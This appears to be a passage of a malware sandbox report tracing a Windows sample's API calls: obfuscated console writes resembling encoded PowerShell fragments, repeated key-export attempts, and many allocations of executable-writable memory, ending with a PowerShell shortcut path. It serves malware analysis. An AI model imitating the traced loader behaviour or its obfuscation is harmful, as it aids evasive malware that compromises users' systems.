console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: ‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubz
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: UbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃK
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: u8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: ‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUb
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: P‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: ‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡Ã
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: KuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKu
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: D4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: ‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: kzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQz
console_handle: 0x000001eb
1 1 0

WriteConsoleW

 buffer: UbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃK
console_handle: 0x000001f7
1 1 0

WriteConsoleW

 buffer: uKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4z
console_handle: 0x00000203
1 1 0

WriteConsoleW

 buffer: UbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBl
console_handle: 0x0000020f
1 1 0

WriteConsoleW

 buffer: zUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡Ã
console_handle: 0x0000021b
1 1 0

WriteConsoleW

 buffer: KuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡
console_handle: 0x00000227
1 1 0

WriteConsoleW

 buffer: ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP
console_handle: 0x00000233
1 1 0

WriteConsoleW

 buffer: ‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡Ã
console_handle: 0x0000023f
1 1 0

WriteConsoleW

 buffer: KuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKuZQzUbP‡ÃKugzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuIzUbP‡ÃKuzUbP‡
console_handle: 0x0000024b
1 1 0

WriteConsoleW

 buffer: ÃKutzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃK
console_handle: 0x00000257
1 1 0

WriteConsoleW

 buffer: uZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzU
console_handle: 0x00000263
1 1 0

WriteConsoleW

 buffer: bP‡ÃKuGczUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0z
console_handle: 0x0000026f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cce78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd878
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cccb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cccb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cccb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd578
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd6b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004cd938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ffc48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ffdc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ffdc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ffdc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02620000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02630000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02762000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02772000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02631000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02773000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02774000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02775000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02776000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
